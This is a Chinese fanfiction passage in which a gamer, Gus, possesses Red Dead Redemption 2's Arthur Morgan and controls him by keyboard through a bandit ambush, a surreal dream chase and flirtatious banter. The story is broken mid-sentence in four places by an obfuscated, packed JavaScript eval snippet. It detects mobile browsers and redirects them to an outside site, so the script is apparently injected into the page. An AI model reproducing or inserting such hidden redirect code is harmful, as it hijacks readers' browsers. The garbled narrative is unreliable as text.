但,先前自己在想什么来着?是果然不该给亚瑟穿外套,还是亚瑟果然是一款天选衬衫叠马甲圣体? 好像都差不多。关键似乎在注意力。毕竟亚瑟先前一直裹在各式各样的破旧衣物里,昨天倒是换了新的,但有外套。今天还是头一次复现自己给游戏亚瑟定下的装束,于是,自己也不可免俗地盯上了那截诱人的腰,集中,再集中—— 扑通! 黑朗姆陡然一跃而起,古斯视野左侧小地图上,一个小型红点同时闪烁。而亚瑟的身体不由自主地一晃,腰腹肌肉瞬间绷紧。 水蛇,蟾蜍,或者别的什么让马匹吃惊的东西。这都不是重点。亚瑟迅速倾身安抚黑朗姆,再坐回原位时,脊背挺得更直,肩膀也微微后收。 “该死。”他低声咒骂,蓝眼睛警惕地扫视四周,手同时按向腰间,“邪祟,你先消停一会。” “哦?”古斯饶有兴趣道,“摩根先生,终于不再嘴硬了?” “得了吧,普莱尔。”男人冷笑,“你那点把戏就像在给我挠痒,动静还不如几只该死的跳蚤——我说真的,停。” “有意思,亚瑟。”古斯轻笑,“你那副紧张兮兮的样子可不像是在对付跳蚤。怎么,难道是第一次被人这么亲密接触?要不要我轻点?” “闭嘴,普莱尔。”亚瑟低声咆哮,“睁大你那双见鬼的眼睛。这里简直是抢劫的天堂。我能闻到麻烦的味道。” “……嗯?” 男人的语气相当严肃,不像被摸得羞恼成怒,更不像是在顾左右而言他。古斯恋恋不舍地抬起镜头,发现在自己沉迷探索亚瑟时,黑朗姆已经涉过浅溪,蹄子踏上了河岸松软的泥土。 前方是一片要密不密的树林,上午的阳光透过树冠的缝隙,往地面上投下斑驳的光影。再远处,灌木丛晃动,显然是些受惊的小动物在仓皇逃窜。 没有鸟鸣,只有水声、风声和马蹄声在回荡。确实是个适合埋伏——或者已经存在埋伏的——的地方。 “呃。好吧。”古斯不得不赞同亚瑟的判断。“你说得对……不过我们不是第一次走这条道,怎么今天就不一样?” 亚瑟嗤笑:“你的功劳,我亲爱的邪祟老板。”他轻扯缰绳,放缓马速,随意地拍了拍身上的新衣服。“瞧瞧这身该死的行头,还有这匹招眼的漂亮搭档。我们现在就像顶着个见鬼的‘抢我’牌子在这招摇过市。” “不然,我现在催马?”古斯问,“这段路我还算熟,应该不至于让你撞树……” 亚瑟的表情顿时变得像在看白痴:“他们会打马,伙计。除非你那双下流爪子突然又能挡子弹了——等等,你还不能吧?” 古斯无言以对。现实世界可没游戏里的载具豁免。一匹昂贵的高头骏马不仅会吸引亡命徒贪婪的目光,更会成为他们枪口的绝佳靶子。而他一点也不想测试背包里那些马匹药品是否有效。 “我看到他们了。”亚瑟忽然低声说。“伙计,你有何打算?” 古斯默默把镜头从东转到西,又从西转到东。 树。树。树。灌木。松鼠。岩石。落叶。枯木。鸟。树。树。树。 “他们在哪,亚瑟?”古斯虚心求教,“来点提示?” 亚瑟一言不发,嘴唇抿紧。古斯福至心灵,构想E键。 这是下马的按键,亚瑟随之利落地翻身。双脚刚一着地,亚瑟的肩膀就微微放松,如同卸下了一部分重担。 “往前。”亚瑟嘴唇蠕动,语声几不可闻。“五到六。” W键。前进。男人的躯体也即时反应。一步,三步,六步。他稳健地甩开了马匹,站定。继而,亚瑟缓缓抬起下巴,不疾不徐地扫视周围。 “来谈谈?”亚瑟问。 他的话音落下,周围的树林俨然活了过来——首先是细微的窸窣,接着是靴子踏裂枯枝,树枝和灌木一道晃动。 三个人影如鬼魅般从不同方向的灌木丛中站起,枪口齐刷刷地对准了亚瑟。紧接着,从最近的一段粗壮树干后,一个留着油腻八字胡的男子慢悠悠地绕了出来,手里把玩着一把弹簧刀,刃面在阳光下闪着寒光。 “哟呵,瞧瞧,这是哪位尊贵的先生?”八字胡男咧嘴一笑,露出一口泛黄牙齿。他的目光在亚瑟身上游走,最后越过他,贪婪地盯上了后方的黑朗姆。“看来我们今天撞大运了,伙计们。居然有老爷亲自来敲门。” “没错。”一个手下附和,脸上滚动着毫不掩饰的贪婪光芒。“这位阔老爷看起来很是慷慨。想必不会介意与我们分享一些财富,是吧。” “识相的有钱人活得长。”另一个歹徒狞笑着向前迈了一步,枪口微微上抬,直指亚瑟胸口。“现在,先生,不如我们来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931514|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈谈你身上值钱的东西?我相信你很乐意捐一些给我们这些可怜人……” ——这还真跟刷出的怪一样。古斯不爽地想。终于看到了,但也被包围了。透过视角的信息检索,他提示道:【亚瑟,奥德里斯科帮。】 亚瑟微不可察地一点头,继而深深地叹出口气。 “呵。”他摇头,犹如对这场遭遇感到毫不意外,“看来科尔姆最近过得不怎么样。” 劫匪们面面相觑,八字胡男脸上的笑容一凝。 “哪个科尔姆?”他谨慎地问。 “科尔姆·奥德里斯科。”亚瑟挑眉道,“我是他的客人。怎么,他从没跟你们提起过我要来?” 科尔姆·奥德里斯科,地区匪帮奥德里斯科帮的老大,曾与达奇·范德林德有过短暂合作。然而,野心和背叛最终导致两人决裂,他们各自的帮派也从此成为不共戴天的死敌。 奥德里斯科帮内部流传着一份针对范德林德帮成员的死亡赏格单,上面的赏金足以让普通帮派成员冒险一搏。而作为范德林德帮的头号干将,亚瑟每次遇到奥德里斯科帮的成员,也都会留下一地尸体。 这一回,不知是装束风格与往日形象相去甚远,还是这几个匪徒才来到这片地盘不久,这几个奥德里斯科帮的匪徒,竟然完全没认出面前就是亚瑟·摩根。 “从没听说过科尔姆要接待什么客人。”八字胡男眯起眼睛,显然在权衡亚瑟话语的真实性。“你最好别想骗我们,先生。科尔姆可不是随便什么人都能拿来当挡箭牌的。” “伙计。”亚瑟平静地问,“你看我像是随便什么人吗?” 匪徒们上下打量他,表情变得更加犹豫。八字胡男眉头紧锁,瞥向其他同伙。一个瘦高个子的劫匪走出灌木,冷笑道:“我看你像在骗我们。” “等会儿。”站在最边上的一个年轻劫匪迟疑道,“万一他真的是来找科尔姆?我们可惹不起……” “够了。”八字胡男举起手,紧盯着亚瑟,“先生,”他慢慢地说,“你怎么称呼?” “普莱尔。”亚瑟也慢慢地说,每个音节都仿佛在舌尖上滚过。“亚瑟·普莱尔。” “……普莱尔?”八字胡男疑惑地重复了一遍,仿佛是在回想这个姓氏。突然,他猛地瞪大眼睛,脸上的血色尽褪。而亚瑟冷笑,大喊:“古斯——” 【收到。】古斯说。 对于键鼠玩家,鼠标中键,代表开启具有时间延缓效果的死神之眼。 中键加左键,则是在这个状态下开枪。 今天依然没能成功构想出鼠标的古斯,一如既往地以集中自己的意识暂代。而与上次对付郊狼时漏掉一头不同,这回所有的敌人,所有的敌对红点,全都清晰地摆在视野之内! 砰! 意识中巨响炸起,如子弹出膛,似惊雷落地。霎时间,琥珀色滤镜笼罩世界,树叶的摇曳,劫匪们的动作乃至表情,全都慢得几乎静止。整个世界不再有任何变化,就像被摄影机捕捉到的一帧画面,而后—— 砰!砰!砰!砰! 四声发生于现实中的枪响,四朵盛放于颅骨的猩红之花。像是被伐倒的树木,匪徒一个接一个地摔在地上,面上表情永远地冻结在惊恐和惊讶中。 亲手执行这一切的男人警觉四顾,稍顷,慢慢地吐出口气。 “干的不错,邪祟。”亚瑟勉强扯出一个笑容,“你总算有点长进了……趁现在没人过来,我们赶紧搜一遍。” 暗金发色的男人站在原地,全身放松,悠哉悠哉地等待着另一股力量的降临。 十几秒后,亚瑟皱起眉。 “……邪祟?” “见鬼,你就这点持久力?” 没有回应,唯有耳边的微风在嘲笑他的等待和期待,以及被这几十天养出的坏习惯。 亚瑟低咒一句,望眼天色,直接俯身,开始搜刮死去匪徒的口袋,拆下镀金的皮带扣,倒出还能用的子弹……渐渐地,亚瑟的表情变得若有所思。 几十天来,第一次,他的双手完全归属于他自己的掌控。 而代价……好像就只是让古斯那双爪子先摸个过瘾? 11. tbc 镜头中是亚瑟的背影。 他走在马路中央,沿着电车轨道缓慢前进。马靴踏在铁轨间的鹅卵石上,发出沉闷回响。但前后没有电车警告的鸣笛,四周没有路人诧异的呼喊,城市空空荡荡,唯一的声音只有亚瑟的脚步和偶尔的咳嗽。 道路两旁的建筑沉默地矗立着,精致的窗户里没有灯光,雕花的门廊下没有行人。而随着亚瑟的前进,周围的一切也越来越模糊,建筑的轮廓扭曲,街道的走向不再笔直。整个城市仿佛在慢慢溶解,慢慢被某种奇异的光芒吞噬。 一头加州峡谷郊狼,于这时悄无声息地出现。 它已成年,体型远超同类平均,一身灰褐色的毛发几乎与石板路面融为一体。可能因为对环境的不确定,它的金棕色眼睛警觉地扫视四周,尾巴因紧张而半垂,穿过路口的步伐也急促。 但古斯一看到它,一股莫名的情绪顿时涌上心头—— 强制开CG了不起是吧,强行进剧情了不起是吧?本人古斯·普莱尔,不,本花了钱的高贵正版玩家,今天就要行使权利,逆天改命! 马克沁——不对,火炮!召唤! 砰! 如同死神之眼开启的特殊音效,一架霍奇基斯旋转炮凭空出现。这是一款通体漆黑的古老火炮,拥有一个沉重的铸铁底座,五根围成一圈的粗大炮管,以及令人无法轻易忽视的占地面积。镜头里原本微垂着头的亚瑟顿时浑身一凛。 “……呃?” 男人皱起眉,对着炮,表情却困惑,似乎是在费力思索自己身处何方。那双平日里锐利如鹰隼的蓝眼漫无目的地扫视周围,摸向枪套的动作也迟缓得像个新手。 这个状态的亚瑟显然有哪不对劲,但炮都召出来了,古斯不需要他多清醒。W,前进,亚瑟的脚步立即变得坚定。尽管眼神依旧迷茫,但他的身形已听话地一矮,熟练地检查起了机械结构和弹药供给。 接着,几乎就是一个老练的炮兵,亚瑟左手校准炮管,右手把住转轮。正走到路中的郊狼仿若察觉到危险,警觉地侧过头—— 轰! 火光炸亮,炮口咆哮,空气被冲击波撕裂,发出尖锐啸叫。被直接命中的郊狼像被大浪拍中的鱼一样倒飞,重重摔回刷新出的方位,变成一具焦狼。一个巨大的弹坑出现在它先前的位置,裂纹蛛网一般向四周蔓延。 “呵。”古斯得意道,“我命由我不由——不不不不,亚瑟!转过去!亚瑟·摩根!” 他的抗议如同石沉大海,毫无反应。就像游戏过场时的强行CG怼脸,镜头被猛地转向亚瑟的脸。好歹还是被他喂成完美体重、又按他要求打理过的那张——修饰脸型的邓德里鬓角,长度1到2的小胡子,没有像游戏进行时那样疯长成一团乱麻。 这颗熟悉的脑袋顿在镜头前,又微微一偏,继而,跟个反应迟钝的大型玩偶一样,亚瑟肩膀晃动,老老实实地转身一百八十度。 古斯恼火地对着他们走来的空路:“……” “不是你转,是把我转——见鬼。你转回去。亚瑟。亚瑟!” 亚瑟再转。古斯一惊。还是那个熟悉的左侧拐角,但不知何时,死去的郊狼悄然消散,破损的路面也恢复如初。原本应该躺着一具焦黑狼尸的地方,此刻站着一头高大的鹿。 这是头令人惊叹的白尾公鹿,体型挺拔,姿态优雅。头顶那对适中的分叉角宛若一顶天然王冠,乌黑发亮的大眼睛带着一丝疑虑。 嗒。嗒。嗒。 鹿蹄与石面接触。鹿向他们走来。随着它的脚步,世界的饱和度像在跟着调低。一层昏黄如古旧羊皮纸的光线自鹿的身后涌现,如同一道温柔的浪潮,缓缓向四周扩散—— 砰! 枪声于寂静的街道上炸响。子弹划破空气,公鹿陡然一颤,那扩散的怀旧滤镜跟着一滞,下一刹,公鹿倒地,建筑和街道的色彩再度鲜明。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941652|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>古斯目瞪口呆,猛地调转镜头:“亚瑟!?你开的枪?!” “不然呢?邪祟?” 亚瑟挑眉反问,熟悉的神情,熟悉的语气。他放下左轮,还活动了一下肩膀。那双才混沌的蓝眼已完全清明,一种锐利的警觉取而代之。 “我总觉得脑袋里有个蠢货在狂吼。哈,果然,你又出了岔子。” 古斯:“……” 古斯默默盯眼亚瑟,又盯向鹿。盯完鹿,又盯向亚瑟。 如果心中翻涌的弹幕能化作实体,古斯认为自己此刻已经荣膺北美第一军火商。 “这里是哪?”亚瑟问。 “你的梦。”古斯心情复杂地说。 “不可能,我从没来过这个地方。”亚瑟说着,用力晃了晃脑袋,随即,像是发现一块金子,亚瑟双眼一亮:“这头鹿真不错……” 古斯眼睁睁地看着亚瑟手肘一退,娴熟地抽出腰间猎刀,更加无语了。 在游戏世界的设定中,出现在亚瑟梦境中的狼和鹿,代表玩家所操控的亚瑟·摩根的荣誉值高低,也昭示着亚瑟命运的两种可能: 狼,是低荣誉,黑暗面的结局。它象征着狡诈与残忍,以及为生存不择手段的本性。在这个结局中,亚瑟将沦为一个冷血杀手,沉浸在无尽的暴力与孤独中,最终孤独地走向死亡,无法逃脱那张自己编织的阴暗网。 鹿,则是高荣誉,光明面的结局。它象征着高尚、勇敢,以及愿意为他人牺牲,并隐隐印证着游戏名称中的“救赎”。在这个结局,亚瑟能够摆脱过去的阴霾,重新找到内心的平静,以一种更加平和的方式离世。 他养老存档里的亚瑟,还没来得及洗白,是凶名赫赫的荒野活阎王。所以他轰这头狼,一点心理负担都没有。 但他穿来绑上的这个亚瑟,这个现实里的亚瑟…… 这个亚瑟一枪杀了高荣誉的鹿还打算去剥皮……这情况算谁的? 12. 第 12 章 古斯当即转回镜头。 在他不刻意调整时,视角会恢复成游戏设置的默认角度,一个略微俯视的位置。而此刻,一向对他的注视毫无知觉的亚瑟,却仿佛突破了某道无形界限,直直地望向他。 那张被他精心打理过的脸上,平静和专注共同凝出一种沉肃的威胁感,而那股被枪火、荒野和岁月打磨出的亡命徒气质也彻底显露无遗。就像猎手在追踪猎物,亚瑟正在一寸一寸地搜寻他的弱点。古斯毫不怀疑。 “那么,试试看啊,亚瑟。”古斯干脆将镜头拉近,再近,直到能捕捉那双蓝眼的每一个细节:瞳仁外圈独特的金芒,金环外沉淀的湛蓝,以及在光线下微微颤动的暗金色睫毛。“我倒想看看你有没有这个能耐。顺带一提,我正贴着你的脸呢,亚瑟。” 恶趣味地,古斯精神凝聚,抬起亚瑟的下巴。男人的咽喉因此吞咽了一下,颈部线条也微微绷紧。于是,他也满意地沿着下颌的轮廓游移,从粗糙的胡茬,徐徐逡巡到那枚随呼吸滚动的喉结。 “我还真期待能更切实地摸到你,摩根先生。” “呵。” 亚瑟嗤笑一声。出乎意料地,既没有暴起,也没有动怒。他维持着这个被迫仰视的姿势,蓝眼中浮现出危险的兴味,如同在打量一个闯入自己领地的对手。 “我就在这了,邪祟。”他拖长了调子,像是在品味什么有趣的猎物。“所以,你是个有三米那么高的怪物,还是就是个小矮子,非要飘在那儿装腔作势?” “这就是你关心的问题?”古斯反问,让意识轻叩过亚瑟的喉结,玩味地感受着那份蓄势待发的紧绷。“高度嘛,这得看你的喜好。毕竟,是你在想象我的存在。” “我猜你和我差不多高。”亚瑟忽然开口,声音里带着一种老练猎人的笃定。他微微眯起眼,像是在透过空气勾勒某个轮廓: “也许还带点荷兰血?北欧血?考虑到你的个头。”男人若有所思地顿了顿,“不过,我见过的荷兰佬可没你这么……干净的腔调。像那些从未沾过泥土的城里人。” “是么?”古斯饶有兴致地应声。 亚瑟舌尖顶着后槽牙,发出一声意味深长的哼笑:“邪祟,我猜中了多少?” “继续猜。” “我当我都中了。”亚瑟歪了歪头,仿佛被这种闪烁其词的态度取悦了。“高个子,文雅口音——一个养尊处优的阔少爷,从来不用为面包发愁的那种。”他故意一顿,“最后长成一个受过良好教育的绅士,嗯?” “观察力不错。”古斯似笑非笑,“不愧是范德林德帮最得力的猎手。” 亚瑟又眯了下眼,嘴角勾起一抹危险的弧度:“可有意思的是——”他啧出一声,“这样一位体面绅士,为什么会出现在犁刀村?你不是死在那儿吧?” “哈,当然不是。”古斯轻笑,意识沿着亚瑟的脖颈慢慢下滑,“怎么,摩根先生,你这是在打听我的家产?可我们的关系似乎还没亲密到——”他刻意咬重最后几个字,“要把财产放到一起考虑的程度。” “虽然也差不多了。这几十天来,每次你一饿,肚子里都会装上我的东西。” 亚瑟的胸膛因为这句话微微起伏,喉咙里滚出一声粗哑冷笑: “我算是明白了,普莱尔。怪不得你会死。看来你生前就有这个毛病,专挑不该招惹的人下手,嗯?” 古斯大笑。 “好吧,好吧,摩根,让我来替你梳理这个引人入胜的故事——我,一个上流社会的绅士,因为不体面的,对不该下手的下手了这一原因,”他兴致勃勃地往亚瑟胸肌处一拨,“尸骨无存地死在犁刀村,变成了大邪祟。真是令人惊叹的想象力。如此质朴,如此直白。不愧是你,亚瑟。” 梦里的亚瑟还是穿着他选择的那身,敞领黑衬衫,收腰马甲,布料在呼吸间隐约绷紧。古斯的意识毫不避讳地下滑,从那起伏的胸口一路逡巡到紧实的腰际。 被他骚扰的亚瑟突然一笑。 要古斯来说,这表情像极了游戏中亚瑟处决时刻的模样——状态高度集中,带着无视一切阻碍的凛冽杀意。但此时此刻,他的嘴角翘着,蓝眼也微弯,几相糅合,形成一股令人不寒而栗的愉悦。 “看来是时候给你上一课了,古斯,我亲爱的邪祟老伙计。你似乎忘了一件事——”男人活动了下脖颈,像头准备扑杀的狮子。“既然这里是我的梦,在这片鬼地方,你觉得谁说了算?” 砰。 一声轰鸣。如同闷雷在耳畔炸响,又像是左轮在太阳穴边扣动扳机。熟悉的琥珀色滤镜笼罩下来,伴随着秒表清晰的滴答。 时间跟着粘稠,动作亦然减缓。古斯能看到亚瑟嘴角那抹笑意是如何一点一点地扩大,能看清他额角那些细密的汗珠是如何缓慢地凝结、滑落—— ——嘶——拉。 被拉长的裂帛声。死神之眼也随之结束。古斯猛地一滞,不可置信地低下镜头。 亚瑟的手攥住了一片衣料,优雅的深色交错格纹,纺得细密的面料,像极了昨天他要求亚瑟穿回营地的那件外套。今早亚瑟惯性要穿,考虑到这会妨碍他欣赏亚瑟的腰线和臀线,他没让。 现在,这件理应躺在亚瑟帐篷衣箱里的外套,被亚瑟的手牢牢攥住。那只惯于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972965|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持枪的手收得极紧,指节因用力而发白,把布料也绷得平直。 “瞧瞧这个,邪祟。”亚瑟嗓音低沉,笑意凌厉,带着某种掠食者般的愉快。“看来你也没料到,在你玩这场该死的把戏之前,会被我逮个正着?” “确实。”古斯咂舌,“说实在的,我更好奇,你会从这里拽出个什么来。” “噢?”亚瑟偏过头,手收得更紧,指腹隔着布料来回摩挲,仿佛是在确认猎物的质地。“怎么,邪祟,你也想知道自己是副什么德行?” 古斯沉默地打量亚瑟。 大约是认为自己已胜券在握,亚瑟的蓝眼闪烁着捕猎归来般的得意,神情间也透出炫耀似的威胁。而他依然是先前的俯视角度。 确切地说,比先前更近了。 如果他有实体,这会儿几乎能说是在揽着亚瑟,而男人也正抓着他的外套下摆。在这个近到暧昧的距离,他能清晰地追踪几缕汗水是如何从亚瑟的额际滑落,如何蜿蜒着爬过那段结实的脖颈,最后消失在敞着三枚扣的衬衫领深处。那里有道隐约的沟,正随呼吸起伏—— 古斯重重一推。 镜头蓦地斜下。亚瑟猝不及防,向后踉跄,仰面摔在地上。他头顶的帽子甩飞出去,金棕的发丝蹭乱,右手却还精神可嘉地攥着那半角衣料,左手也已本能撑地,整个上身随之弓起,准备借力翻身—— 没构想任何键位,古斯对准亚瑟胸口,凝神,再凝神。 “——见鬼!” 亚瑟大声咒骂,梦境空间也剧烈晃荡。建筑开始像蜡烛一样融化,街道的地砖扭曲翻卷,连空气都变得浓稠如浆。但一寸寸地,他被生生按回地面。先是挺起的上身,再到扭动的腰身,最后是那双想要蹬地的长腿。反抗间,那半角衣料在他手中悄然消散,仿佛从未存在。 古斯再度俯视亚瑟——以过去几十天亚瑟入睡前的熟悉角度,可这次截然不同。他能感受到面前这具结实躯体散发的热度和急促的心跳,能感受到亚瑟胸腔起伏的节奏,以及那些不甘示弱的挣动。 当然,还有那道击碎从容的惊怒—— “该死。”亚瑟喘息着仰起脸,却同时扯起一抹挑衅的笑,“怎么,这就等不及露出真面目了,邪祟?我还以为你能装得再久点。几十天了,是玩够了那套见鬼的幽灵把戏,还是终于憋不住了?” “让我纠正几点,亲爱的亚瑟。”古斯懒洋洋地说,“第一,这是你的梦;第二,我确实还是没有实体;第三,是你,先迫不及待地,想要试探‘我的德行’。” 他笑了笑:“现在,我只是满足你的好奇心——让你好好感受我。” 13. tbc 不对劲。 这感觉微弱,却清晰,像细小的刺扎进手掌。本能地,古斯移开镜头,想要切入鹰眼——一个类似死神之眼的时间延缓类技能,只是持续时间更短,消耗精力也更少。但视野左下方的小地图上,忽有线条延展。 在亚瑟的梦境中,这地图向来只显示一片羊皮纸似的黄褐。可此时此刻,代表建筑和道路的线条却如蛛网般蔓延开来,那个表示声源及可互动NPC的灰点也在迫近—— 是那头鹿。 但是,若真按游戏安排的剧情,这里是梦;改按现实发生的,这里也是梦。在这个封闭的梦境空间里,除了他和亚瑟,根本不该出现任何陌生存在! “……我说什么来着。”亚瑟在咕哝。“这畜生比你还邪门……邪祟,你认识它么?” “这是你的梦,亚瑟。”古斯压着火气反问,“你觉得我该认识它吗?” “见鬼。”亚瑟低声咒骂,“你那把精贵步枪呢?!” “都这情形了还想什么鬼枪?你就不能直接醒吗!?” “要是能醒,我早就醒了!不然你以为我乐意找你要枪?” “所以你自己的枪呢?” “还不是被你那些该死的把戏给拆了。” “……啥?” 古斯诧异地转回镜头,继而心虚了一秒——亚瑟浑身衣衫不整,纽扣崩落殆尽,马甲大敞,衬衫更是被撕得支离破碎。至于皮背带和那条靠屁股撑着的子弹带,现在也莫名地不知所踪,衬得那段结实的腰腹线条分外醒目。 而且,没了背带固定,那条考究的深色长裤居然还神奇地挂在胯骨上。 ……纯靠屁股弧度撑起的吗? 古斯不禁好奇地扯了一把,亚瑟却跟早有防备似的,一掌摁住裤腰:“就知道你会来这一手。”他冷冷道,“怎么,甚至不先请我喝一杯?” “哦?”古斯饶有兴致道,“我平时请你喝的还不够?” “这不一样。”亚瑟嗤笑,“酒馆里好歹能找个能端杯子的活人。倒是你,邪祟老爷,不光身上的枪烂没了,背上的枪也变不出来了?” “那你在慌什么,摩根先生?我还以为你从不把无形的威胁放在眼里。” 嗒。嗒。嗒。 被剥皮的白尾公鹿走得更近了,它的背后也重新亮起了不知源头的光,还有建筑。消散于混沌的景物开始诡异地重构,砖墙自虚无中凝实,石板路在它脚下寸寸铺就。 鹿残破的躯体上,血肉以肉眼可见的速度愈合,皮毛如春日新草般重新生长,覆盖住外露的伤口,宛如时间在倒流。 “这他*的……” 亚瑟两眼发直,声音发紧:“这畜生是在告诉我们,它不喜欢被剥皮?” “我早提醒过你。”古斯没好气道,“还是醒不了?” “你觉得我他*没在试!?”亚瑟咬牙切齿,“该死的,要是能醒,我用得着在这儿看一头死鹿长毛?” “呃,往好处想,至少在外面看这种表演要付钱……” “哈。”亚瑟发出一声干巴巴的冷笑,“邪祟,不如直说,你拿它没辙,也变不出枪。” “……” “……” “跑吗?”古斯问。 “废什么话!” 不用这厮再催,古斯猛地构想代表后退的S键,紧接着是一个奔跑的Shift。亚瑟身躯猛转,即刻狂奔。马靴重重踏在路面,声音沉闷,仿佛真的踏在圣丹尼斯城的石板上。而道路两旁,店铺的招牌逐渐清晰,华丽的雕花栏杆重现眼前,路灯如萤火般次第点亮。 空气中,早期工业城市特有的烟尘开始弥漫;街道上,行人也开始隐隐绰绰地浮现——起初只是几个模糊的剪影,渐渐地,化作了女士们层叠的裙摆,绅士们挺括的礼服。这些人影如同幽灵般若隐若现,却发出真实的惊呼: “你怎么敢!?” “该死的!” “真是个野蛮人——” “都他*的给我滚开!”亚瑟咆哮着推开一片虚影,随即压低嗓音:“邪祟,你最好告诉我这不是你搞出来的把戏——” “一个好消息,亚瑟,确实不是我。”古斯打断他,顺便构想回望的C键:“坏消息,你那个血淋淋的‘预兆’还在追。” “什么该死的预兆。我宁愿相信达奇那些见鬼的计划也不信什么预兆……我们能不能上个楼?” “万一它也能上楼?” ——叮铃。铃铃。 古斯猛地让亚瑟一停。 前方轨道上,一辆电车正缓缓驶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14023675|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。斑驳的车漆泛着油亮的光,车轮碾过轨道发出规律的叮叮。驾驶室里一个穿制服的人影,手稳稳搭在车闸上,五官却仿佛被人用橡皮橡皮擦抹去,只有一片平滑的空白。 “见鬼的圣丹尼斯,真该改名鬼丹尼斯……”亚瑟啐出一口,“邪祟,前方拐角有家枪店——” “忘了枪店。”古斯咕哝,“如果这是我想的那个时间点,我们最好别在街上待着。你抢过电车吗?” “和抢驿站马车差不多?” “就当是了。”古斯意念一推,亚瑟顿时三步并作两步,敏捷地跨上车厢,同时往颈部一抓。一块黑色蒙面巾凭空出现—— 古斯:“……?!” 【亚瑟。】古斯纳闷地调过镜头,确认那块沾着火药痕的破旧方巾正稳稳地覆在亚瑟脸上。【你记得起你那条脏兮兮的蒙面巾,却记不出你的左轮?】 “我也很纳闷,但这毕竟是我在做梦。”亚瑟闷声发笑,嗓音透过布料显得愈发粗哑。“女士们先生们,抢劫了!” 车厢里模糊的乘客们瞬间爆发出一阵惊呼,但那个无面司机依然保持着诡异的姿势,雕像般纹丝不动。亚瑟一把抓定那人的制服往后一扯,像丢麻袋一样把司机甩出车厢—— “哈,手感倒是和真人差不多。就是轻了点。”他拍了拍手,转身面对控制台,“然后呢,邪祟?你会开?” “我用不着会,亚瑟。”古斯低笑,“但这是当前最直接的解法。” C键。回望。 后方街道尽头,那头诡异的白尾公鹿正迈着优雅的步伐逼近。它的皮毛已经完全长齐,眼中燃烧着诡异的金光。它的每一步都让路灯闪烁不定,仿佛整个梦境都在为它让路。 古斯意志一凌,亚瑟的手立即粗暴地拉动车闸。电车发出一声刺耳的金属摩擦,车轮与轨道摩擦出火花,开始疯狂倒退。 “可能会有点痛,亚瑟。” “哈。”亚瑟大笑,“我喜欢这主意——” 车厢里的尖叫声此起彼伏,影影绰绰的乘客身影跑动,大喊,最终如烟雾般四散消逝。电车剧烈摇晃,金属与金属的碰撞声尖锐刺耳。鹿和它身后的昏黄光芒越来越近,越来越近—— 轰! 阳光透过树叶间隙撒下,他们同时惊醒。 14. TBC 熟悉的挑衅。 以及多出来的、仿佛手握枪支的笃定。 古斯若有所思地抬高镜头。日轮并未西移,阳光穿过树冠,在林间织出层叠的金色薄纱。看起来仍在上午。 但小地图上表示亚瑟状态的三个图标中,抛开那可能遭受梦境影响而狂掉的体力值和死神之眼,表示生命值的心形,确实没自己掉线前那么饱满。 想起那个诡异的梦,古斯陡然一凛。 “我睡了一天?”古斯不动声色地问。 “看来你那点下流劲终于用完了,是吧?”亚瑟嗤笑,“想知道什么,那得看你拿什么来换。” 他开口时,顺手翻过怀表——古斯抢在表盖落下前瞟过一眼,上午十点半。 这个时间段离午餐还早,但早餐也差不多消化完了。当然,考虑到他们是同时醒来,更大的可能是这家伙一直被梦魇缠绕,什么都没吃。 这就好办了。 B,背包启动。E,补给品页面。古斯凝神,亚瑟即刻移动,利落地从一旁的皮质背包里摸出一大把鲜红浆果。 这是把野生树莓,来自他存档的存货,每一颗都饱满欲滴,散发着葡萄酒似的馥郁香气,亚瑟却皱起了眉。 “可能你们这些上等鬼魂,都有养金丝雀的爱好。”他嫌弃地说,指腹随意碾过一颗莓果,看着深红的汁液在枪茧上晕开,“但我可不是鸟。你还不如给我个罐头。” “所以你宁愿吃罐头,”古斯嘲笑,“不想要新鲜水果?” 不给这家伙继续抱怨的机会,古斯再度构想按键E。亚瑟本能地后仰,但像先前无数次那样,他的胳膊不受控制地抬起,径直把那把浆果怼进嘴。 